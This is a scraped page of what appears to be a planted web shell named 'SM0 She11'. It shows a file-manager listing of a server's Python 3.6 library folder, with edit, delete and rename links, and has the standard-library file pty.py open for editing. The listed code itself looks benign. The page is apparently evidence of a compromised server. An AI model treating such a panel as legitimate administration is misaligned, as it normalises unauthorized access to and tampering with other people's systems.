SM0 She11
Path:
/
/
usr
/
lib64
/
python3.6
Full Path (server): /usr/lib64/python3.6
Create Fil3
Upl04d Fil3
📄 __future__.py
[E]
[D]
[R]
📄 __phello__.foo.py
[E]
[D]
[R]
📁 __pycache__
Open
[D]
[R]
📄 _bootlocale.py
[E]
[D]
[R]
📄 _collections_abc.py
[E]
[D]
[R]
📄 _compat_pickle.py
[E]
[D]
[R]
📄 _compression.py
[E]
[D]
[R]
📄 _dummy_thread.py
[E]
[D]
[R]
📄 _markupbase.py
[E]
[D]
[R]
📄 _osx_support.py
[E]
[D]
[R]
📄 _pydecimal.py
[E]
[D]
[R]
📄 _pyio.py
[E]
[D]
[R]
📄 _sitebuiltins.py
[E]
[D]
[R]
📄 _strptime.py
[E]
[D]
[R]
📄 _sysconfigdata_dm_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _sysconfigdata_m_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _threading_local.py
[E]
[D]
[R]
📄 _weakrefset.py
[E]
[D]
[R]
📄 abc.py
[E]
[D]
[R]
📄 aifc.py
[E]
[D]
[R]
📄 antigravity.py
[E]
[D]
[R]
📄 argparse.py
[E]
[D]
[R]
📄 ast.py
[E]
[D]
[R]
📄 asynchat.py
[E]
[D]
[R]
📁 asyncio
Open
[D]
[R]
📄 asyncore.py
[E]
[D]
[R]
📄 base64.py
[E]
[D]
[R]
📄 bdb.py
[E]
[D]
[R]
📄 binhex.py
[E]
[D]
[R]
📄 bisect.py
[E]
[D]
[R]
📄 bz2.py
[E]
[D]
[R]
📄 cProfile.py
[E]
[D]
[R]
📄 calendar.py
[E]
[D]
[R]
📄 cgi.py
[E]
[D]
[R]
📄 cgitb.py
[E]
[D]
[R]
📄 chunk.py
[E]
[D]
[R]
📄 cmd.py
[E]
[D]
[R]
📄 code.py
[E]
[D]
[R]
📄 codecs.py
[E]
[D]
[R]
📄 codeop.py
[E]
[D]
[R]
📁 collections
Open
[D]
[R]
📄 colorsys.py
[E]
[D]
[R]
📄 compileall.py
[E]
[D]
[R]
📁 concurrent
Open
[D]
[R]
📁 config-3.6m-x86_64-linux-gnu
Open
[D]
[R]
📄 configparser.py
[E]
[D]
[R]
📄 contextlib.py
[E]
[D]
[R]
📄 copy.py
[E]
[D]
[R]
📄 copyreg.py
[E]
[D]
[R]
📄 crypt.py
[E]
[D]
[R]
📄 csv.py
[E]
[D]
[R]
📁 ctypes
Open
[D]
[R]
📁 curses
Open
[D]
[R]
📄 datetime.py
[E]
[D]
[R]
📁 dbm
Open
[D]
[R]
📄 decimal.py
[E]
[D]
[R]
📄 difflib.py
[E]
[D]
[R]
📄 dis.py
[E]
[D]
[R]
📁 distutils
Open
[D]
[R]
📄 doctest.py
[E]
[D]
[R]
📄 dummy_threading.py
[E]
[D]
[R]
📁 email
Open
[D]
[R]
📁 encodings
Open
[D]
[R]
📁 ensurepip
Open
[D]
[R]
📄 enum.py
[E]
[D]
[R]
📄 filecmp.py
[E]
[D]
[R]
📄 fileinput.py
[E]
[D]
[R]
📄 fnmatch.py
[E]
[D]
[R]
📄 formatter.py
[E]
[D]
[R]
📄 fractions.py
[E]
[D]
[R]
📄 ftplib.py
[E]
[D]
[R]
📄 functools.py
[E]
[D]
[R]
📄 genericpath.py
[E]
[D]
[R]
📄 getopt.py
[E]
[D]
[R]
📄 getpass.py
[E]
[D]
[R]
📄 gettext.py
[E]
[D]
[R]
📄 glob.py
[E]
[D]
[R]
📄 gzip.py
[E]
[D]
[R]
📄 hashlib.py
[E]
[D]
[R]
📄 heapq.py
[E]
[D]
[R]
📄 hmac.py
[E]
[D]
[R]
📁 html
Open
[D]
[R]
📁 http
Open
[D]
[R]
📄 imaplib.py
[E]
[D]
[R]
📄 imghdr.py
[E]
[D]
[R]
📄 imp.py
[E]
[D]
[R]
📁 importlib
Open
[D]
[R]
📄 inspect.py
[E]
[D]
[R]
📄 io.py
[E]
[D]
[R]
📄 ipaddress.py
[E]
[D]
[R]
📁 json
Open
[D]
[R]
📄 keyword.py
[E]
[D]
[R]
📁 lib-dynload
Open
[D]
[R]
📁 lib2to3
Open
[D]
[R]
📄 linecache.py
[E]
[D]
[R]
📄 locale.py
[E]
[D]
[R]
📁 logging
Open
[D]
[R]
📄 lzma.py
[E]
[D]
[R]
📄 macpath.py
[E]
[D]
[R]
📄 macurl2path.py
[E]
[D]
[R]
📄 mailbox.py
[E]
[D]
[R]
📄 mailcap.py
[E]
[D]
[R]
📄 mimetypes.py
[E]
[D]
[R]
📄 modulefinder.py
[E]
[D]
[R]
📁 multiprocessing
Open
[D]
[R]
📄 netrc.py
[E]
[D]
[R]
📄 nntplib.py
[E]
[D]
[R]
📄 ntpath.py
[E]
[D]
[R]
📄 nturl2path.py
[E]
[D]
[R]
📄 numbers.py
[E]
[D]
[R]
📄 opcode.py
[E]
[D]
[R]
📄 operator.py
[E]
[D]
[R]
📄 optparse.py
[E]
[D]
[R]
📄 os.py
[E]
[D]
[R]
📄 pathlib.py
[E]
[D]
[R]
📄 pdb.py
[E]
[D]
[R]
📄 pickle.py
[E]
[D]
[R]
📄 pickletools.py
[E]
[D]
[R]
📄 pipes.py
[E]
[D]
[R]
📄 pkgutil.py
[E]
[D]
[R]
📄 platform.py
[E]
[D]
[R]
📄 plistlib.py
[E]
[D]
[R]
📄 poplib.py
[E]
[D]
[R]
📄 posixpath.py
[E]
[D]
[R]
📄 pprint.py
[E]
[D]
[R]
📄 profile.py
[E]
[D]
[R]
📄 pstats.py
[E]
[D]
[R]
📄 pty.py
[E]
[D]
[R]
📄 py_compile.py
[E]
[D]
[R]
📄 pyclbr.py
[E]
[D]
[R]
📄 pydoc.py
[E]
[D]
[R]
📁 pydoc_data
Open
[D]
[R]
📄 queue.py
[E]
[D]
[R]
📄 quopri.py
[E]
[D]
[R]
📄 random.py
[E]
[D]
[R]
📄 re.py
[E]
[D]
[R]
📄 reprlib.py
[E]
[D]
[R]
📄 rlcompleter.py
[E]
[D]
[R]
📄 runpy.py
[E]
[D]
[R]
📄 sched.py
[E]
[D]
[R]
📄 secrets.py
[E]
[D]
[R]
📄 selectors.py
[E]
[D]
[R]
📄 shelve.py
[E]
[D]
[R]
📄 shlex.py
[E]
[D]
[R]
📄 shutil.py
[E]
[D]
[R]
📄 signal.py
[E]
[D]
[R]
📁 site-packages
Open
[D]
[R]
📄 site.py
[E]
[D]
[R]
📄 smtpd.py
[E]
[D]
[R]
📄 smtplib.py
[E]
[D]
[R]
📄 sndhdr.py
[E]
[D]
[R]
📄 socket.py
[E]
[D]
[R]
📄 socketserver.py
[E]
[D]
[R]
📁 sqlite3
Open
[D]
[R]
📄 sre_compile.py
[E]
[D]
[R]
📄 sre_constants.py
[E]
[D]
[R]
📄 sre_parse.py
[E]
[D]
[R]
📄 ssl.py
[E]
[D]
[R]
📄 stat.py
[E]
[D]
[R]
📄 statistics.py
[E]
[D]
[R]
📄 string.py
[E]
[D]
[R]
📄 stringprep.py
[E]
[D]
[R]
📄 struct.py
[E]
[D]
[R]
📄 subprocess.py
[E]
[D]
[R]
📄 sunau.py
[E]
[D]
[R]
📄 symbol.py
[E]
[D]
[R]
📄 symtable.py
[E]
[D]
[R]
📄 sysconfig.py
[E]
[D]
[R]
📄 tabnanny.py
[E]
[D]
[R]
📄 tarfile.py
[E]
[D]
[R]
📄 telnetlib.py
[E]
[D]
[R]
📄 tempfile.py
[E]
[D]
[R]
📁 test
Open
[D]
[R]
📄 textwrap.py
[E]
[D]
[R]
📄 this.py
[E]
[D]
[R]
📄 threading.py
[E]
[D]
[R]
📄 timeit.py
[E]
[D]
[R]
📄 token.py
[E]
[D]
[R]
📄 tokenize.py
[E]
[D]
[R]
📄 trace.py
[E]
[D]
[R]
📄 traceback.py
[E]
[D]
[R]
📄 tracemalloc.py
[E]
[D]
[R]
📄 tty.py
[E]
[D]
[R]
📄 types.py
[E]
[D]
[R]
📄 typing.py
[E]
[D]
[R]
📁 unittest
Open
[D]
[R]
📁 urllib
Open
[D]
[R]
📄 uu.py
[E]
[D]
[R]
📄 uuid.py
[E]
[D]
[R]
📁 venv
Open
[D]
[R]
📄 warnings.py
[E]
[D]
[R]
📄 wave.py
[E]
[D]
[R]
📄 weakref.py
[E]
[D]
[R]
📄 webbrowser.py
[E]
[D]
[R]
📁 wsgiref
Open
[D]
[R]
📄 xdrlib.py
[E]
[D]
[R]
📁 xml
Open
[D]
[R]
📁 xmlrpc
Open
[D]
[R]
📄 zipapp.py
[E]
[D]
[R]
📄 zipfile.py
[E]
[D]
[R]
Editing: pty.py
"""Pseudo terminal utilities.""" # Bugs: No signal handling. Doesn't set slave termios and window size. # Only tested on Linux. # See: W. Richard Stevens. 1992. Advanced Programming in the # UNIX Environment. Chapter 19. # Author: Steen Lumholt -- with additions by Guido. from select import select import os import tty __all__ = ["openpty","fork","spawn"] STDIN_FILENO = 0 STDOUT_FILENO = 1 STDERR_FILENO = 2 CHILD = 0 def openpty(): """openpty() -> (master_fd, slave_fd) Open a pty master/slave pair, using os.openpty() if possible.""" try: return os.openpty() except (AttributeError, OSError): pass master_fd, slave_name = _open_terminal() slave_fd = slave_open(slave_name) return master_fd, slave_fd def master_open(): """master_open() -> (master_fd, slave_name) Open a pty master and return the fd, and the filename of the slave end. Deprecated, use openpty() instead.""" try: master_fd, slave_fd = os.openpty() except (AttributeError, OSError): pass else: slave_name = os.ttyname(slave_fd) os.close(slave_fd) return master_fd, slave_name return _open_terminal() def _open_terminal(): """Open pty master and return (master_fd, tty_name).""" for x in 'pqrstuvwxyzPQRST': for y in '0123456789abcdef': pty_name = '/dev/pty' + x + y try: fd = os.open(pty_name, os.O_RDWR) except OSError: continue return (fd, '/dev/tty' + x + y) raise OSError('out of pty devices') def slave_open(tty_name): """slave_open(tty_name) -> slave_fd Open the pty slave and acquire the controlling terminal, returning opened filedescriptor. Deprecated, use openpty() instead.""" result = os.open(tty_name, os.O_RDWR) try: from fcntl import ioctl, I_PUSH except ImportError: return result try: ioctl(result, I_PUSH, "ptem") ioctl(result, I_PUSH, "ldterm") except OSError: pass return result def fork(): """fork() -> (pid, master_fd) Fork and make the child a session leader with a controlling terminal.""" try: pid, fd = os.forkpty() except (AttributeError, OSError): pass else: if pid == CHILD: try: os.setsid() except OSError: # os.forkpty() already set us session leader pass return pid, fd master_fd, slave_fd = openpty() pid = os.fork() if pid == CHILD: # Establish a new session. os.setsid() os.close(master_fd) # Slave becomes stdin/stdout/stderr of child. os.dup2(slave_fd, STDIN_FILENO) os.dup2(slave_fd, STDOUT_FILENO) os.dup2(slave_fd, STDERR_FILENO) if (slave_fd > STDERR_FILENO): os.close (slave_fd) # Explicitly open the tty to make it become a controlling tty. tmp_fd = os.open(os.ttyname(STDOUT_FILENO), os.O_RDWR) os.close(tmp_fd) else: os.close(slave_fd) # Parent and child process. return pid, master_fd def _writen(fd, data): """Write all the data to a descriptor.""" while data: n = os.write(fd, data) data = data[n:] def _read(fd): """Default read function.""" return os.read(fd, 1024) def _copy(master_fd, master_read=_read, stdin_read=_read): """Parent copy loop. Copies pty master -> standard output (master_read) standard input -> pty master (stdin_read)""" fds = [master_fd, STDIN_FILENO] while True: rfds, wfds, xfds = select(fds, [], []) if master_fd in rfds: data = master_read(master_fd) if not data: # Reached EOF. fds.remove(master_fd) else: os.write(STDOUT_FILENO, data) if STDIN_FILENO in rfds: data = stdin_read(STDIN_FILENO) if not data: fds.remove(STDIN_FILENO) else: _writen(master_fd, data) def spawn(argv, master_read=_read, stdin_read=_read): """Create a spawned process.""" if type(argv) == type(''): argv = (argv,) pid, master_fd = fork() if pid == CHILD: os.execlp(argv[0], *argv) try: mode = tty.tcgetattr(STDIN_FILENO) tty.setraw(STDIN_FILENO) restore = 1 except tty.error: # This is the same as termios.error restore = 0 try: _copy(master_fd, master_read, stdin_read) except OSError: if restore: tty.tcsetattr(STDIN_FILENO, tty.TCSAFLUSH, mode) os.close(master_fd) return os.waitpid(pid, 0)[1]
Save